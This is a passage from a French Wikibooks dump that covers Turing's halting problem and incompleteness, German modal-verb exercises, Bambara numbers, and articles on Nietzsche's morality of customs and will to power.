complète, il faudrait préciser la notion de machine idéale de Türing, et prouver l’existence d’une machine de Türing universelle, ou ordinateur. Cette partie de la preuve n’est pas exposée ici parce que l’existence des ordinateurs est désormais couramment acceptée. Il est possible de définir un ensemble énumérable Enum, et même décidable, de tous les noms des ensembles énumérables. On veut dire par là que l’on peut définir un formalisme dont le domaine d’objets est un ensemble EF d’expressions formelles, que Enum est une partie de EF, que toutes les parties énumérables de EF sont nommées par un élément de Enum, et que EF est suffisamment riche pour que tout ensemble énumérable concevable puisse être identifié à une partie énumérable de EF, par un processus simple de traduction. Il y a plusieurs façons de définir Enum. Nous présenterons celle de Türing. Il est également possible de définir un ensemble VAEnum de toutes les vérités atomiques d’appartenance aux les ensembles énumérables. Le théorème fondamental de l’énumérabilité dit que VAEnum est énumérable. Autrement dit, l’ensemble de toutes les vérités atomiques d’appartenance aux ensembles énumérables est énumérable. Une vérité atomique d’appartenance sur les ensembles énumérables est une formule atomique vraie qui dit qu’une expression formelle appartient à l’ensemble énumérable nommé par une autre expression formelle. Nous montrerons plus loin que ce théorème est équivalent à celui de l’existence d’une machine de Türing universelle. Dans le chapitre suivant, nous donnerons une preuve de ce théorème à partir d’une autre définition de l’énumérabilité, équivalente à celle de Türing. Le théorème fondamental de l’indécidabilité dit que VAEnum est indécidable. Autrement dit, l’ensemble de toutes les faussetés atomiques d’appartenance aux ensembles énumérables n’est pas énumérable. Appelons FAEnum cet ensemble. Une fausseté atomique d’appartenance est une formule atomique qui n’est pas vraie. A chaque fausseté atomique, on peut associer une formule vraie, qui dit qu’une expression formelle n’appartient pas à l’ensemble énumérable nommé par une autre expression formelle. Cette dernière formule n’est pas atomique mais presque parce qu’elle est la négation d’une formule atomique. Nous allons d’abord présenter la méthode de Türing pour définir Enum. De cette méthode il résulte immédiatement que la vérité du théorème fondamental est équivalente à l’indécidabilité du problème de l’arrêt, ou problème de Türing. Il s’agit du problème de savoir par avance si oui ou non un ordinateur va s’arrêter et fournir un résultat. Türing a prouvé qu’on ne peut pas programmer un ordinateur pour savoir dans tous les cas si oui ou non un ordinateur va s’arrêter. La méthode de Türing est facile à comprendre pour tous ceux qui savent programmer un ordinateur. Si on ignore les différences de capacité de mémoire et de temps de calcul, tous les ordinateurs sont équivalents, au sens où tout ce qui peut être fait par l’un peut aussi être fait par n’importe quel autre. En ce sens, les ordinateurs sont des calculateurs universels. On peut ignorer les différences de mémoire parce que celle-ci peut toujours être rallongée en connectant la machine à une banque de données. On peut ignorer les différences de temps de calcul dans la mesure où on s’intéresse seulement aux limites théoriques de la puissance des ordinateurs, comme si le fait d’attendre un résultat pendant des milliards d’années n’était pas un problème. Les ordinateurs sont équivalents parce qu’ils peuvent se représenter les uns les autres. On dit qu’une machine émule ou simule une autre machine. Türing a inventé la première technique de simulation d’une machine par une autre, avant même que les ordinateurs existent réellement. Pour représenter une machine de Türing, il suffit de représenter son programme, c’est à dire la liste finie de toutes les règles qu’elle exécutera mécaniquement dès qu’elle aura été lancée. Une machine de Türing peut être considéré comme une fonction qui à chaque état initial de la mémoire associe son état final, après que la machine se soit arrêtée. Le domaine de définition de cette fonction est l’ensemble de tous les états initiaux pour lesquels la machine s’arrête. Nous dirons que c’est aussi le domaine de définition de la machine. Un ensemble énumérable peut être représenté par une machine de Türing dont il est le domaine de définition. L’ensemble Enum est alors identifié à l’ensemble de tous les programmes, c’est à dire l’ensemble infini des listes finies d’instructions. Comme par définition de l’énumérabilité, un ensemble énumérable peut toujours être représenté par une machine de Türing, Enum ainsi défini est bien un ensemble de noms de tous les ensembles énumérables. Dans une machine de Türing universelle U , la mémoire peut être divisée en deux parties, P et I . P sert à représenter le programme de la machine que l’on simule. Comme c’est une liste finie, P n’occupe qu’une partie finie de la mémoire totale. Le reste I sert à représenter l’état initial de la machine simulée. Après que U soit lancée, U s’arrête si et seulement si la machine représentée dans P s’arrête lorsque son état initial est celui représenté dans I. (Si U s’arrête le résultat que U fournit dans la partie I de sa mémoire représente le résultat fourni par la machine simulée par U .) L’existence d’une machine universelle U montre que VAEnum est énumérable. Les énoncés atomiques sont représentés par les états initiaux de la mémoire de U. Un état initial représente l’énoncé que l’expression formelle représentée dans I appartient à l’ensemble énumérable représenté dans P. Les énoncés sont vrais lorsque U s’arrête, faux sinon. Le théorème d’existence d’une machine universelle est donc équivalent au théorème fondamental de l’énumérabilité. Une machine universelle peut être conçue comme une sorte de diseur de vérités. Par définition de la décidabilité, le problème de l’arrêt serait décidable si deux ensembles étaient énumérables, celui des couples (programme, état initial) pour lesquels une machine universelle s’arrête et celui des couples (programme, état initial) pour lesquels une machine universelle ne s’arrête pas. L’énumérabilité du premier est une conséquence directe de l’existence d’une machine universelle. Mais le théorème fondamental de l’indécidabilité affirme que le second ensemble n’est pas énumérable, qu’il ne peut pas exister de machine NegU qui représenterait FAEnum. Il est donc équivalent à l’indécidabilité du problème de l’arrêt. Montrons que le paradoxe du menteur conduit à l’indécidabilité de VAEnum. Si VAEnum était décidable, la machine NegU qui représente FAEnum existerait. On pourrait alors s’en servir pour construire une autre machine AT qui aurait la propriété suivante. AT s’arrête si et seulement si (l’ état initial de la mémoire de AT représente une machine M, par son programme, et M ne s’arrête pas lorsque son état initial représente la machine M elle-même). AT serait représentée par un programme PrAT. Türing a montré qu’il serait très facile d’écrire le programme PrAT si on avait le programme PrNegU de l’hypothétique NegU. Supposons que l’état initial de la mémoire de AT soit chargée avec PrAT. Est-ce que AT va s’arrêter ? AT s’arrête si et seulement si (l’ état initial de la mémoire de AT représente une machine M, par son programme, et M ne s’arrête pas lorsque son état initial représente la machine M elle-même). Dans ce cas, la machine M est AT. On en conclut que, lorsque son état initial représente AT, AT s’arrête si et seulement si AT ne s’arrête pas. C’est une contradiction. L’hypothèse de l’existence de AT doit donc être rejetée, et par voie de conséquence l’existence de NegU aussi. Le problème de l’arrêt n’est donc pas décidable et FAEnum n’est pas énumérable. Autrement dit, VAEnum est indécidable. En s’arrêtant après avoir été initialisé avec PrAT, la machine AT, conçue comme un diseur de vérités, dirait d’elle-même qu’elle ne s’arrête pas après avoir été initialisé avec PrAT. Il s’agit donc bien du paradoxe du menteur. Le problème de l’arrêt est un problème concret, c’est un problème qui se pose quand on développe des programmes, ou logiciels. La preuve de son indécidabilité est donc une application concrète du paradoxe du menteur. Les paradoxes sont parfois considérés à tort comme des obstacles à l’avancement des sciences. C’est tout le contraire qui est vrai. Les paradoxes sont de très puissants moteurs pour la science. ==Où sont les axiomes manquants ?== Les théorèmes fondamentaux de l’énumérabilité et de l’indécidabilité permettent ensemble de montrer que toute théorie mathématique suffisamment riche n’est jamais capable de prouver toutes ses vérités. Il suffit de définir suffisamment riche par les conditions suivantes. a) la théorie T permet de définir tous les ensembles énumérables b) à partir de deux ensembles déjà définis E et F, T permet de définir E Moins F, l’ensemble différence de E et F, c’est à dire la partie de E qui ne contient aucun élément de F. Si E est l’ensemble de toutes les expressions formelles et F un ensemble indécidable alors E Moins F n’est pas énumérable. Comme l’ensemble des formules prouvables de T est énumérable, il y a des vérités d’appartenance à l’ensemble non-énumérable E Moins F qui ne sont pas prouvables. On peut voir ce théorème comme une généralisation du premier théorème d’incomplétude de Gödel. Les conditions a et b sont remplies par l’arithmétique formelle mais la preuve est un peu difficile et ne sera pas présentée ici. Si on ne peut pas prouver toutes les vérités, c’est qu’il manque des axiomes. Quels sont-ils ? Jusqu’ici on a seulement prouvé que des théories sont incomplètes mais on n’a pas dit pourquoi. Il semble également assez mystérieux que ces théories résistent toujours aux tentatives de complétude. Quelle que soit la façon dont on les complète avec de nouveaux axiomes elles restent incomplètes. Même si on se donne des axiomes en nombre infini elles restent incomplètes, dès que ces axiomes sont déterminés par des règles explicites et univoques. Qu’est-ce qui manque ? Qu’est-ce qui rend la complétude inaccessible à nos esprits finis ? Il semble intuitivement assez évident que les incomplétudes de la prouvabilité axiomatique et de l’ontologie sont étroitement liées. La ressemblance entre les façons dont tous tous ces théorèmes d’incomplétude sont prouvés, dont l’ensemble paradoxal BR de Bertrand Russell, le nombre réel GC de Georg Cantor, les nombre entiers AT d’Alfred Tarski et KG de Kurt Gödel, et la machine AT d’Alan Türing, sont construits montrent que dans tous les cas il y a une ressemblance, ne serait-ce que formelle mais parfois très explicite, avec le paradoxe du menteur. Le chapitre 6 prouvera ce qui suit, qui peut être considéré comme presqu’évident. L’incomplétude mathématique est essentiellement ontologique. Les théories axiomatiques ne permettent jamais de prouver toutes leurs vérités parce que leur ontologie est toujours limitée. Elles n’ont jamais assez d’axiomes d’existence. Elles ne permettent jamais de définir assez d’ensembles, de prédicats ou de concepts pour formaliser toutes les preuves concevables. On ne peut pas donner un nombre fini de règles qui suffise pour établir l’existence de tous les êtres imaginables, c’est à dire tous les êtres qui ont le droit d’exister au yeux des mathématiciens. L’imagination déborde tous les cadres. Exercices Modaux 2663 41637 2006-05-05T14:30:14Z 88.134.99.231 /* Exercice 2 */ ==Conjugaison== === Conjugaison === Conjuguez les modaux suivants aux temps proposés : # können / 1ère personne du singulier / présent # können / 3ème personne du singulier / prétérit # dürfen / 2ème personne du singulier / présent # dürfen / 2ème personne du pluriel / subjonctif II # müssen / 2ème personne du pluriel / présent # müssen / 1ère personne du singulier / subjonctif I # sollen / 1ère personne du pluriel / prétérit # sollen / 2ème personne du singulier / subjonctif I # mögen / 1ère personne du singulier / présent # mögen / 1ère personne du pluriel / prétérit # wollen / 3ème personne du pluriel? / présent # wollen / 2ème personne du pluriel / subjonctif II ===Exercice 2=== Complétez avec le verbe de modalité approprié: # Ich ________ ein Bier trinken.(aimer) # Du ________ Deutsch lernen.(vouloir) # Er _______ nicht arbeiten.(aimer) # Alle Menschen _________ sterben.(devoir) # Wir ________ ihm helfen.(devoir) # Jetzt ________ ich spielen. (avoir l'autorisation) ==Solutions== ====Conjugaison==== # ich kann # er, sie, es konnte # du darfst # sie, Sie dürften # ihr müsst # ich müsse # wir sollten # du sollest # ich mag # wir mochten # sie, Sie wollen # ihr wolltet ====Exercice 2==== # möchte # willst # mag # müssen # sollen # darf <br />Retour [[Enseignement de l'allemand]] Nombres (bambara) 2664 16027 2005-07-03T14:46:34Z Guaka 165 +wiktlinks {{bambara}} Les nombres en Bambara sont très réguliers: ; 1 : kelen ; 2 : fila (''f'la'') ; 3 : saba ; 4 : naani ; 5 : duurun ; 6 : wooro ; 7 : wolonfila (''wolonfla'') ; 8 : segi ; 9 : kononto ; 10 : tan ; 11 : tan ni kelen ; 12 : tan ni fila ; 13 : tan ni saba ; 14 : tan ni naani ; 15 : tan ni duurun ; 16 : tan ni wooro ; 17 : tan ni wolonfila (''wolonfla'') ; 18 : tan ni segi ; 19 : tan ni kononto ; 20 : mugan ; 21 : mugan ni kelen ; 22 : mugan ni fila (''mugan ni f'la'') ; 23 : mugan ni saba ; 30 : bi saba ; 31 : bi saba ni kelen ; 40 : bi naani ; 50 : bi duurun ; 60 : bi wooro ; 70 : bi wolonfla ; 80 : bi segi ; 90 : bi kononto ; 100 : keme ; 200 : keme fla ; 300 : keme saba ; 1000 : ka belen ; 2000 : ; 1,000,000 : ; demi : tilan cè ; moins : dobo ; plus : farankan ==Voir== * [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Cardinaux_bambaras Les cardinaux bambaras dans le Wiktionnaire] * [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Ordinaux_bambaras Les ordinaux bambaras dans le Wiktionnaire] Nietzsche 2665 14246 2005-06-06T06:47:39Z Marc 66 /* <center>Appendices</center> */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} *[[Nietzsche - Introduction à sa philosophie|Introduction]] __NOTOC__ == <center>Première partie : Les concepts fondamentaux</center> == *[[Nietzsche - La Volonté de Puissance|La Volonté de Puissance]] *[[L'Éternel Retour]] *[[Le Surhomme]] *[[La transvaluation des valeurs]] == <center>Deuxième partie : L'histoire</center> == *[[La généalogie]] *[[Nietzsche - La culture grecque|La culture grecque]] *[[Nietzsche - Le problème de Socrate|Le problème de Socrate]] *[[Platon et Socrate]] *[[Le christianisme]] *[[Le nihilisme]] == <center>Troisième partie : Les valeurs humaines</center> == *[[La morale]] *[[Nietzsche - La métaphysique|La métaphysique]] == <center>Quatrième partie : L'éducation et la culture</center> == A. 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La philosophie : *[[Nietzsche - Philosophie et culture|Philosophie et culture]] *[[Nietzsche - Le philosophe législateur|Le philosophe législateur]] Modèle:Refl 2666 14247 2005-02-23T20:16:24Z Marc 66 modèle de la Wikipédia pour les notes [[#ancrage_{{{1}}}|<small><sup><font id="lien_{{{1}}}">{{{1}}}</font></sup></small>]] Modèle:Refa 2667 14248 2005-02-23T20:17:39Z Marc 66 modèle de la Wikipédia pour les notes [[#lien_{{{1}}}|<font id="ancrage_{{{1}}}">{{{1}}}.</font> ]] Nietzsche - La moralité des mœurs 2668 14249 2005-06-04T19:44:32Z Marc 66 {{Nietzsche}} Nietzsche appelle ''moralité des mœurs'' les moyens employés par l'homme pendant la plus longue partie de son histoire pour élever{{Refl|1}} l'homme. Cet élevage est une activité formatrice qui s'est d'abord imposée comme obligation absolue, brutale et purement formelle : c'est « une autorité supérieure à laquelle on obéit non parce qu'elle ordonne ce qui nous est ''utile'', mais parce qu'elle ''ordonne''. »{{Refl|2}} C'est sous cette forme arbitraire quant à son contenu, inspirant la peur et le respect, que se sont présentés les premiers moyens d'éducation, de discipline (ou d'élevage, traduction de ''die Zucht'') qui ont modifier l'animal homme et lui ont donné une certaine économie d'instincts. Pourquoi et comment ces moyens d'élevage sont-ils mis en œuvre ? Pourquoi Nietzsche considère-t-il que l'élevage de la moralité des mœurs est l'activité essentielle de toute culture et qu'« elle est à l'origine des civilisations. »{{Refl|3}} == Ce qu'est la moralité des mœurs == Pour répondre à la première question, il faut concevoir avec Nietzsche tout regroupement humain selon un modèle organique : selon lui, en effet, un groupe, une communauté, une société, etc. disposent de moyens grâce auxquels leur croissance et leur conservation sont rendues possibles, notamment par l'assimilation des individus qui y naissent et en qui en deviennent ainsi les supports indispensables. En ce sens, l'éducation est un prolongement de la reproduction et un véritable moyen de reproduction amélioré.{{Refl|4}} Il y a une continuité entre la reproduction naturelle et la reproduction sociale. Le rapprochement que Nietzsche fait entre la société et l'organique n'est donc pas une analogie ; les fonctions sociales répondent à des fonctions physiologiques. De même qu'un organisme est formé de cellules, de tissus et d'organes, une société est formée d'une multitude d'individus constituant des groupes tissés de croyances et qui entrent en des rapports de forces qui ne cessent de varier.{{Refl|5}} Ce sont ces rapports, et, en particulier, les luttes internes et les rivalités pour la puissance entre groupes et entre communanutés, qui permettent le développement de la puissance d'une civilisation. L'élevage de l'homme est ainsi en premier lieu inséparable d'une multiplicité de relations, de luttes, de rivalités ou d'alliances, dans la mesure où il entre dans ce jeu des rapports de puissances dont l'enjeu fondamentale est pour chaque communauté de ne pas vouloir « courir le risque d'être exterminée. »{{Refl|6}} Dans ces luttes, les moyens d'éducation prennent la forme d'institutions dont le but est de conserver et d'étendre la puissance de la communauté et des groupes qui la constituent.{{Refl|7}} Ces institutions prennent des formes variables, mais se confondent à l'origine sans l'unique perspective de la moralité des mœurs : « Originellement [...] tout était mœurs »{{Refl|8}} : la coutume, la justice, l'éducation, le travail, les cultes, le mariage, etc. Ces moyens de conservations et de croissance permettent à une communauté de s'assimiler les individus en les organisant et en transmettant d'une génération à l'autre des valeurs communes. Ce qui se transmet, ce sont des types, concept qui désigne un ensemble de valeurs hiérarchisées qu'une communauté estimes utiles à sa conservation : des structures de pensées, des jugements moraux, des croyances, et tout ce qui en découle, à savoir principalement des comportements moyens, normalisés, uniformisant les individus.{{Refl|9}} L'élevage de la moralité des mœurs est l'exmpression d'une volonté de durer et de vaincre : ce sont des individus, des groupes, des classes qui veulent s'imposer : « Qui donc a besoin de cette conservation ? Les chefs de familles, de classe, etc. qui veulent se survivrent dans la perpétuité de leurs institutions. » Cette volonté à l'œuvre dans toute société « inspire des visées lointaines ».{{Refl|10}} == Ce qui est atteint par la moralité des mœurs == == Notes == {{Refa|1}}Le mot ''élevage'' traduit le verbe allemand ''züchten'' : élever des animaux, ou cultiver (des plantes, etc.). {{Refa|2}}''Aurore'', § 9. {{Refa|3}}''Aurore'', § 16. {{Refa|4}}''Aurore'', § 397. {{Refa|5}}VP, I, II, 460. {{Refa|6}}PBM, 262. {{Refa|7}}VP, I, II, 465. {{Refa|8}}''Aurore'', § 9. {{Refa|9}}VP, I, II, 152. {{Refa|10}}VP, I, II, 465. Nietzsche - La Volonté de Puissance 2669 28085 2006-01-02T14:29:23Z 83.179.130.30 fautes de frappe {{Nietzsche|[[Vie de Nietzsche]]|}} La notion fondamentale de l'interprétation nietzschéenne est la notion de Volonté de puissance. Cette notion implique un ensemble de règles d'interprétation de la réalité, et constituent le point de départ de [[la transvaluation des valeurs]]. Aucun texte de Nietzsche ne donne de manière complète et précise la signification de l'expression ''volonté de puissance''. Malgré cette absence de définition claire, l'étude précise des textes a montré la grande cohérence de la pensée de Nietzsche jusque dans l'emploi des guillemets (voir, à ce propos, Wolfgang Müller-Lauter). Afin de permettre à chacun de lire les passages où il est question de ce concept, nous donnons ici (après une détermination générale du concept) le plus grand nombre de références possibles, ainsi que de larges extraits de textes parmi les plus importants. == Premier aspect == La ''volonté de puissance'' est la qualité d'action de la vie et du devenir, leur devenir plus, mais elle n'en est pas le principe au sens classique du terme : :« '' La '' vie '' (...) tend à la '' sensation d'un maximum de puissance'' ; elle est essentiellement l'effort vers plus de puissance ; sa réalité la plus profonde, la plus intime, c'est ce vouloir.'' » C'est en ce sens un concept métaphysique, puisqu'il qualifie l'étant en sa totalité : :« ''l'essence la plus intime de l'être est la volonté de puissance''. » (FP, XIV, 14 (80)). Ce fragment résume toute la philosophie de Nietzsche et son projet de réévaluer les valeurs traditionnelles de la métaphysique à partir d'une nouvelle perspective, ce qui doit entraîner selon lui l'abolition des valeurs idéalistes, en particulier celles du christianisme. Si cette phrase a une apparence métaphysique, dans la mesure où elle paraît énoncer par une définition ce que c'est que l'être des choses, Nietzsche ne parle pourtant pas de ce qu'est l'être en lui-même, mais de ce qu'il en est de son intériorité. Ainsi la volonté de puissance n'est-elle pas un « fondement » ou une « substance » (''ousia'' en grec). La volonté de puissance est une interprétation de la réalité, interprétation qui prend de multiples dimensions, telles que l'éternel retour et le surhomme. Une telle compréhension exclut principalement toute recherche d'un inconditionné derrière le monde, et de cause derrière les êtres. Le but de Nietzsche est de saper par ce concept les fondements de toutes les philosophies passées, et de renouveler la question des valeurs que nous attribuons à l'existence. En ce sens, il n'est ni un prophète, ni un visionnaire, mais se comprend lui-même comme un précurseur. Ainsi à l'encontre de certaines doctrines antiques (par exemple, Épicure|l'épicurisme) du principe de plaisir qui ne parvenaient pas à expliquer la persistance du mal, Nietzsche pense qu' « ''il n'est pas vrai que l'homme recherche le plaisir et fuie la douleur : on comprend à quel préjugé illustre je romps ici (...). Le plaisir et la douleur sont des conséquences, des phénomènes concomitants ; ce que veut l'homme, ce que veut la moindre parcelle d'un organisme vivant, c'est un '' accroissement de puissance''. Dans l'effort qu'il fait pour le réaliser, le plaisir et la douleur se succèdent ; à cause de cette volonté, il cherche la résistance, il a besoin de quelque chose qui s'oppose à lui...'' » === Pathos et structure === Une volonté de puissance s'analyse alors comme une relation interne d'un conflit, comme structure intime d'un devenir, et non seulement comme le déploiement d'une puissance : ''Le nom précis pour cette réalité serait la volonté de puissance ainsi désigné d'après sa structure interne et non à partir de sa nature protéiforme, insaisissable, fluide.'' (FP XI, 40 (53)). La volonté de puissance est ainsi la relation interne qui structure une force. Elle n'est ni un être, ni un devenir, mais ce que Nietzsche nomme un ''pathos'' fondamental, qui définit la direction de la puissance, soit dans le sens de la croissance soit dans le sens de la décroissance. Ce ''pathos'', dans le monde organique, s'exprime par une hiérarchie d'instincts, de pulsions et d'affects, qui forment une perspective interprétative d'où se déploie la puissance et qui se traduit par exemple par des pensées et des jugements de valeur correspondants. == Caractérisation générale == La notion de ''volonté de puissance'' désigne un devenir plus ; elle est conçue par Nietzsche comme un outil de description de la réalité. La volonté de puissance n'est pas à proprement parler un devoir être : rien n'est contraint par une loi à devenir plus. Il n'y a en effet, selon Nietzsche, aucune loi dans le devenir : tout devient ce qu'il peut devenir, et cela même exprime sa volonté de puissance. On notera qu'ainsi, s'opposant au dualisme métaphysique de l'essence et de l'existence, Nietzsche interprète l'essence d'une chose (sa structure interne) comme se réalisant toute entière dans le devenir, l'existence et l'essence se confondant alors dans le même concept de volonté de puissance. Ces précisions permettent tout d'abord d'écarter certaines interprétations inexactes et de comprendre un aspect important de l'analyse de Nietzsche : un guerrier ou un artiste, pour prendre des exemples qui peuvent paraître aussi éloignés que possible, expriment également par leurs activités une volonté de puissance. Mais il suit de cet exemple qu'aucun mouvement artistique, aucun parti politique et aucune idéologie ne peuvent véritablement se réclamer de la volonté de puissance comme s'il s'agissait d'un programme à réaliser, d'un impératif à suivre, puisque tout artiste, tout parti, toute idéologie, quels qu'ils soient, sont déjà l'expression d'une volonté de puissance. C'est donc cette volonté de puissance particulière qu'il faut analyser en tant que Volonté de puissance : dans l'exemple ci-dessus, le barbare est une forme brutale et stupide de volonté de puissance (Nietzsche est loin de valoriser la violence en elle-même - l'esprit est pour lui, sous certaines conditions, l'expression la plus haute de la volonté de puissance humaine) ; l'artiste en est une forme plus raffinée, plus haute, car créatrice, ce qui permet de constituer une échelle de valeur qui tient compte du fait que la réalité la plus frustre de l'homme est la barbarie, mais que la culture, sous certaines conditions, est le degré le plus haut de la puissance, le degré qui a le plus de valeur, du moins dans le monde humain. Ainsi, en résumé, et c'est là l'aspect proprement immoral de cette pensée, dans la pire barbarie comme dans la culture la plus raffinée, c'est la même tendance à la puissance qui se manifeste partout, mais en prenant des formes différentes liées à l'éducation des instincts que l'on donne à l'homme. Une culture qui exprimerait l'accroisssement de la puissance n'est ni culture militariste (Nietzsche n'a pas une très bonne opinion de l'abrutissement du patriotisme, et estime que la puissance de l'État ne peut que nuire à la culture) ni une culture d'uniformisation (ce qui s'exprime par exemple par un grégarisme moral), mais une culture qui cultive l'homme en tant qu'animal, sans en nier les instincts, mais en les spiritualisant (ce que Nietzsche nomme une divinisation des instincts, concept relativement proche de la sublimation chez Freud). Les plus hautes expressions d'une telle culture sont l'unité du style artistique (en architecture par exemple), le raffinement spirituelle (développement chez les individus de capacités telles que la suspension du jugement, de la clarté du style, etc. et de goûts correspondants, etc.). La volonté de puissance a nécessairement plusieurs dimensions, elle décrit fondamentalement : * le devenir en général (métaphysique) * le vivant (physiologie) * l'économie des instincts humains (psychologie, morale, politique) * l'éducation des instincts (la culture) === Dans les textes publiés === *''Aurore'' *''Le Gai Savoir'', §13 : ''das Verlangen nach Macht'', l'aspiration à la puissance : :« Que nous fassions des sacrifices à faire du bien et du mal, ne modifie en rien la valeur ultime de nos actes ; dussions-nous mettre en jeu notre vie comme le martyr en faveur de son Église,- c'est toujours un sacrifice que nous faisons à ''notre'' soif de puissance ou pour conserver au moins le sentiment que nous en avons. » *''Ainsi parlait Zarathoustra'', livre II, « Du dépassement de soi-même » : : « Wille zur Wahrheit heisst ihr's, ihr Weisesten, was euch treibt und brünstig macht ? :Wille zur Denkbarkeit alles Seienden: also heisse ich euren Willen ! :Alles Seiende wollt ihr erst denkbar machen : denn ihr zweifelt mit gutem Misstrauen, ob es schon denkbar ist. :Aber es soll sich euch fügen und biegen ! So will's euer Wille. Glatt soll es werden und dem Geiste unterthan, als sein Spiegel und Widerbild. :Das ist euer ganzer Wille, ihr Weisesten, als ein '''Wille zur Macht''' ; und auch wenn ihr vom Guten und Bösen redet und von den Werthschätzungen. Schaffen wollt ihr noch die Welt, vor der ihr knien könnt: so ist es eure letzte Hoffnung und Trunkenheit. » *''Par-delà bien et mal'', §36 :« Si rien ne nous est « donné » comme réel sauf notre monde d'appétits et de passions, si nous ne pouvons descendre ni monter vers aucune autre réalité que celle de nos instincts - car la pensée n'est que le rapport mutuel de ces instincts, - n'est-il pas permis de nous demander si ce donné ne ''suffit'' pas aussi à comprendre, à partir de ce qui lui ressemble, le monde dit mécanique (ou « matériel ») ? Le comprendre, veux-je dire, non pas comme une illusion, une « apparence », une « représentation » au sens de Berkeley et de Schopenhauer, mais comme une réalité du même ordre que nos passions mêmes, une forme plus primitive du monde des passions, où tout ce qui se diversifie et se structure ensuite dans le monde organique (et aussi, bien entendu, s'affine et s'affaiblit) gît encore d'une vaste unité ; comme une sorte de vie instinctive où toutes les fonctions organiques d'autorégulation, d'assimilation, de nutritution, d'élimination, d'échanges sont encore synthétiquement liées ; comme une ''préforme'' de la vie ? - En définitive, il n'est pas seulement permis de hasarder cette question ; l'esprit même de la ''méthode'' l'impose. Ne pas admettre différentes espèces de causalités aussi longtemps qu'on n'a pas cherché à se contenter d'une seule en la poussant jusqu'à ses dernières conséquences (jusqu'à l'absurde dirais-je même), voilà une morale de la méthode à laquelle on n'a pas le droit de se soustraire aujourd'hui ; elle est donné « par définition » dirait un mathématicien. En fin de compte la question est de savoir si nous considérons la volonté comme réellement ''agissante'', si nous croyons à la causalité de la volonté. Dans l'affirmative - et au fond notre croyance en celle-ci n'est rien d'autre que notre croyance en la causalité elle-même - nous ''devons'' essayer de poser par hypothèse la causalité de la volonté comme la seule qui soit. *''Généalogie de la morale'', Deuxième dissertation, §12 *''L'Antéchrist'', §6 : :« Das Leben selbst gilt mir als Instinkt für Wachstum, für Dauer, für Häufung von Kräften, für Macht : wo der Wille zur Macht fehlt, gibt es Niedergang. » :(« La vie est, à mes yeux, instinct de croissance, de durée, d'accumulation de force, de puissance : là où la volonté de puissance fait défaut, il y a déclin. ») === Dans les textes posthumes === *L’expression « Wille zur Macht » apparaît pour la première fois dans le fragment 23 [63] de 1876-1877 : : « Das Hauptelement des Ehrgeizes ist, zum Gefühl seiner Macht zu kommen. Die Freude an der Macht ist nicht darauf zurückzuführen, dass wir uns freuen, in der Meinung anderer bewundert dazustehen. Lob und Tadel, Liebe und Hass sind gleich für den Ehrsüchtigen, welcher Macht will. :Furcht (negativ) und Wille zur Macht (positiv) erklären unsere starke Rücksicht auf die Meinungen der Menschen. :Lust an der Macht.— Die Lust an der Macht erklärt sich aus der hundertfältig erfahrenen Unlust der Abhängigkeit, der Ohnmacht. Ist diese Erfahrung nicht da, so fehlt auch die Lust. » *Voir aussi : fragments 4 [239], 7 [206], 9 [14] de 1880-1881. *FP, XIV, 14, [80] : :« Si l'essence la plus intim de l'être est volonté de puissance, si le plaisir est toute croissance de la puissance, déplaisir tout sentiment de ne pouvoir résister et maîtriser : ne pouvons-nous pas alors poser plaisir et déplaisir comme des faits cardinaux ? » *FP XIV, 14, [97] : :« «Volonté de puissance »<br /> :La «volonté de puissance» est haïe à ce point dans les époques démocratiques, que toute leur psychologie semble viser à la rapetisser et à la dénigrer...<br /> :Le type du grand ambitieux avide d'honneur : on voudrait que ce soit Napoléon ! et César ! et Alexandre !... Comme si ce n'étaient pas justement les plus grands ''contempteurs'' de l'honneur !<br /> :Et Helvétius nous expose en détail que l'on aspire à la puissance afin d'avoir les jouissances dont dispose l'homme puissant... : il comprend cette aspiration à la puissance comme une volonté de jouissance, comme un hédonisme...» *FP, XIV, 14 [121] : :« La vie n'est qu'un ''cas particulier'' de la volonté de puissance, - il est tout à fait arbitraire d'affirmer que tout aspire à se fondre dans cette forme de la volonté de puissance. » == Détermination du concept == === Analyse de l'expression «volonté de puissance » telle qu'elle apparaît dans les écrits de Nietzsche === Selon Müller-Lauter, il est possible de distinguer trois sens différents de l'expression «volonté de puissance » lorsqu'elle est employée au singulier : *« la volonté de puissance » comme tout de la réalité, comme le nom de cette réalité. En ce sens, la Volonté de puissance est bien un concept métaphysique puisqu'il caractérise l'être de l'étant ; *« volonté de puissance », sans l'article « le », comme qualité. En ce sens, comme pour le sens suivant, ce concept désigne une certaine direction d'un devenir singulier ; il désigne l'accroîssement de la puissance ; *« une volonté de puissance », présupposant une pluralité de volontés de puissance ; même sens que ci-dessus, mais la multiplicité radicale du monde est souligné. Cela signifie que le tout, l'univers, s'il peut être considéré comme une quantité de forces fixes, n'est pas lui-même Volonté de puissance, car il ne possède pas d'unité, et, puisque ce caractère lui fait défaut, il n'a pas non plus de finalité, il ne se dirige pas vers un état final (l'univers est donc aussi nécessairement circulaire : voir : Éternel Retour). === À partir de la vie === La volonté de puissance s'interpréte à partir de la vie organique sans s'y réduire : *Ainsi parlait Zarathoustra'', II, « De la domination de soi » :« Partout où j’ai trouvé du vivant, j’ai trouvé de la volonté de puissance ; et même dans la volonté de celui qui obéit, j’ai trouvé la volonté d’être maître. [...] Et la vie elle-même m’a confié ce secret : « Vois, m’a-t-elle dit, je suis ce qui doit toujours se surmonter soi-même. [...] Et toi aussi, toi qui cherches la connaissance, tu n’es que le sentier et la piste de ma volonté : en vérité, ma volonté de puissance marche aussi sur les traces de ta volonté du vrai ! Il n’a assurément pas rencontré la vérité, celui qui parlait de la « volonté de vie », cette volonté – n’existe pas. Car : ce qui n’est pas, ne peut pas vouloir ; mais comment ce qui est dans la vie pourrait-il encore désirer la vie ! Ce n’est que là où il y a de la vie qu’il y a de la volonté : pourtant ce n’est pas la volonté de vie, mais [...] la volonté de puissance. Il y a bien des choses que le vivant apprécie plus haut que la vie elle-même ; mais c’est dans les appréciations elles-mêmes que parle – la volonté de puissance ! » » Si l'organisme, et plus précisemment notre corps, est le point de départ de Nietzsche, son fil directeur, c'est parce nous n'avons pas de conception de l'être indépendante du fait de vivre. Être, c'est respirer, se nourir, etc. L'être, en lui-même, est un concept dénué de sens, « 